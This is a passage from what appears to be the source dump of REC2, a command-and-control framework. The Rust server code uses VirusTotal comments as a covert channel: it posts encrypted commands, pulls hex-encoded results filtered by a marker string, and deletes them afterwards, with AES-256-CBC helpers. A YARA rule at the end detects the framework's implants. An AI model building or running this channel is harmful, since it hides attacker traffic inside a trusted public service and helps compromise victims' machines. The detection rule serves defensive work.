VtType::File; 25 | match vtype { 26 | "files" => { vt_type = VtType::File; } 27 | "domains" => { vt_type = VtType::Domain; } 28 | "urls" => { vt_type = VtType::Url; } 29 | "ip-address" => { vt_type = VtType::Url; } 30 | _ => { } 31 | } 32 | debug!("{}",format!("{:<10}: {}","TYPE".cyan().bold(),&vtype)); 33 | 34 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/gui/file/([a-zA-Z0-9_]{32,})").unwrap(); 35 | let caps = re.captures(&full_url).unwrap(); 36 | let id = caps.get(1).map_or("", |m| m.as_str()).to_string(); 37 | debug!("{}",format!("{:<10}: {}","ID".cyan().bold(),&id)); 38 | 39 | return (url,vt_type,id) 40 | } 41 | 42 | /// GET comment in one resource from the ID 43 | pub async fn virustotal_get_comments( 44 | access_token: &str, 45 | resource_id: &str, 46 | vtype: &VtType, 47 | filter: String, 48 | ) -> (Vec,Vec,Vec) { 49 | 50 | trace!("in virustotal_get_comments() function"); 51 | let vt = VtClient::new(access_token); 52 | 53 | // Result 54 | let mut result_spoiler: Vec = Vec::new(); 55 | let mut result_content: Vec = Vec::new(); 56 | let mut post_id: Vec = Vec::new(); 57 | 58 | match vt.get_comment(resource_id, vtype).await { 59 | Ok(result) => { 60 | if result.data.len() >= 1 { 61 | // Comment by comment 62 | for c in result.data { 63 | if c.attributes.text.contains(&filter) { 64 | let split = c.attributes.text.split("\n"); 65 | let collection = split.collect::>(); 66 | let re = Regex::new(r"[0-9a-f]+").unwrap(); 67 | for hexa in re.captures_iter(&collection[1]) 68 | { 69 | trace!("Getting comment in resource: {}",resource_id); 70 | result_spoiler.push(collection[0].to_owned()); 71 | result_content.push(hexa[0].to_owned().to_string()); 72 | post_id.push(c.id.to_string()); 73 | } 74 | } 75 | } 76 | } 77 | else { 78 | error!("Cant get comments in this resource..") 79 | } 80 | }, 81 | Err(err) => { 82 | error!("Cant get comments in this resource: {err}") 83 | } 84 | } 85 | 86 | return (result_spoiler,result_content,post_id) 87 | } 88 | 89 | /// POST private comment 90 | pub async fn virustotal_post_comment( 91 | access_token: &str, 92 | resource_id: &str, 93 | vtype: &VtType, 94 | datas: &str, 95 | ) { 96 | let vt = VtClient::new(access_token); 97 | match vt.put_comment(resource_id, datas, vtype).await { 98 | Ok(result) => { 99 | trace!("Post answer {:?}", result.data); 100 | }, 101 | Err(err) => { 102 | error!("Cant post comment in this resource: {err}") 103 | } 104 | } 105 | //result.data.id 106 | } 107 | 108 | /// DELETE comment 109 | pub async fn virustotal_delete_topic_comment( 110 | access_token: &str, 111 | comment_id: &str, 112 | ) { 113 | let vt = VtClient::new(access_token); 114 | let result = vt.delete_comment(comment_id).await; 115 | trace!("Delete comment id '{comment_id}' : {:?}", result); 116 | } -------------------------------------------------------------------------------- /server/src/utils/common.rs: -------------------------------------------------------------------------------- 1 | use std::{thread,time}; 2 | use random_string::generate; 3 | use log::{info,trace}; 4 | 5 | ///Display cmd output 6 | pub fn display_vecu8(output: &Vec) -> String { 7 | return String::from_utf8_lossy(output).to_string(); 8 | } 9 | 10 | /// Function sleep 11 | pub fn sleep(timer: u64) { 12 | info!("[?] Waiting {}s",&timer); 13 | thread::sleep(time::Duration::from_secs(timer)); 14 | } 15 | 16 | /// Function to generate random string 17 | pub fn random_string(len: usize) -> String { 18 | let charset = "1234567890abcdefghijklmnopqrstuvwxyz"; 19 | let r = generate(len, charset); 20 | trace!("Random ID: {}",&r); 21 | return r 22 | } -------------------------------------------------------------------------------- /server/src/utils/crypto.rs: -------------------------------------------------------------------------------- 1 | use log::error; 2 | use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit}; 3 | use pbkdf2::{ 4 | password_hash::{PasswordHash, PasswordHasher, SaltString}, 5 | Params, Pbkdf2, 6 | }; 7 | use rand::{distributions::Alphanumeric, Rng}; 8 | type Aes256CbcDec = cbc::Decryptor; 9 | type Aes256CbcEnc = cbc::Encryptor; 10 | 11 | /// Function to provide simple mechanism to encrypt some bytes with a key using AES-256-CBC 12 | /// Thanks to: 13 | pub fn aes_encrypt( 14 | plaintext: &[u8], 15 | key: &[u8] 16 | ) -> Vec { 17 | let s: String = rand::thread_rng() 18 | .sample_iter(&Alphanumeric) 19 | .take(8) 20 | .map(char::from) 21 | .collect(); 22 | let salt = SaltString::new(&s).unwrap(); 23 | let password_hash = hash_password(key, &salt).unwrap(); 24 | let password_hash = password_hash.hash.unwrap(); 25 | let (key, iv) = password_hash.as_bytes().split_at(32); 26 | let cipher = Aes256CbcEnc::new_from_slices(key, iv).unwrap(); 27 | let ciphertext = cipher.encrypt_padded_vec_mut::(plaintext); 28 | let message = ["Salted__".as_bytes(), salt.as_bytes(), &ciphertext].concat(); 29 | message 30 | } 31 | 32 | /// Function to provide simple mechanism to decrypt some bytes with a key using AES-256-CBC 33 | /// Thanks to: 34 | pub fn aes_decrypt( 35 | ciphertext: &[u8], 36 | key: &[u8] 37 | ) -> Vec { 38 | if !ciphertext.starts_with(b"Salted__") { 39 | error!("Message was not encrypted when encoded"); 40 | } 41 | if ciphertext.len() < 16 { 42 | error!("Ciphertext is too short"); 43 | } 44 | let (_, rest) = ciphertext.split_at(8); //ignore prefix 'Salted__' 45 | let (s, rest) = rest.split_at(8); 46 | let s = String::from_utf8(s.to_vec()).unwrap(); 47 | let salt = SaltString::new(&s).unwrap(); 48 | let password_hash = hash_password(key, &salt).unwrap(); 49 | let password_hash = password_hash.hash.unwrap(); 50 | let (key, iv) = password_hash.as_bytes().split_at(32); 51 | let cipher = Aes256CbcDec::new_from_slices(key, iv).unwrap(); 52 | let r = cipher.decrypt_padded_vec_mut::(rest); 53 | match r { 54 | Ok(plaintext) => { return plaintext } 55 | Err(err) => { 56 | error!("Inccorect key, can't decode AES! Reason: {err}"); 57 | return Vec::new() 58 | } 59 | } 60 | } 61 | 62 | /// Function to hash password and salt, 63 | /// to generate key for use with AES-256 encryption. 64 | /// 65 | /// Uses PBKDF2 with 10,000 rounds of SHA256 hashing to generate a 48-byte response. 66 | /// 48-byte response contains the 16-byte IV and 32-byte key. 67 | /// Thanks to: 68 | pub fn hash_password<'a>( 69 | key: &'a [u8], 70 | salt: &'a SaltString, 71 | ) -> Result, pbkdf2::password_hash::Error> { 72 | Pbkdf2.hash_password_customized( 73 | key, 74 | None, 75 | None, 76 | Params { 77 | rounds: 10_000, 78 | output_length: 48, 79 | }, 80 | salt, 81 | ) 82 | } -------------------------------------------------------------------------------- /server/src/utils/mod.rs: -------------------------------------------------------------------------------- 1 | //! Utils for REC2 server 2 | #[doc(inline)] 3 | pub use common::*; 4 | #[doc(inline)] 5 | pub use crypto::*; 6 | 7 | pub mod crypto; 8 | pub mod common; -------------------------------------------------------------------------------- /yara/rec2_virustotal_or_mastodon.yar: -------------------------------------------------------------------------------- 1 | rule REC2_implants 2 | { 3 | meta: 4 | author = "g0h4n_0 " 5 | date_created = "2023-04-18" 6 | date_last_modified = "2023-04-18" 7 | description = "Detects REC2 implant used for external C2" 8 | reference = "https://github.com/g0h4n/REC2" 9 | hash1 = "" 10 | 11 | strings: 12 | $a1 = "Error during command execution" 13 | $a2 = {52 45 43 32} 14 | 15 | $b1 = "https://www.virustotal.com/api/v3" 16 | $b2 = "rec2virustotal" 17 | $b3 = "REC2 implant for VirusTotal" 18 | 19 | $c1 = "megalodon::mastodon::web_socket" 20 | $c2 = "rec2::modules::rec2mastodon" 21 | $c3 = "REC2 implant for Mastodon" 22 | 23 | condition: 24 | all of ($a*) and ( 25 | all of ($b*) 26 | or 27 | all of ($c*) 28 | ) 29 | } 30 | --------------------------------------------------------------------------------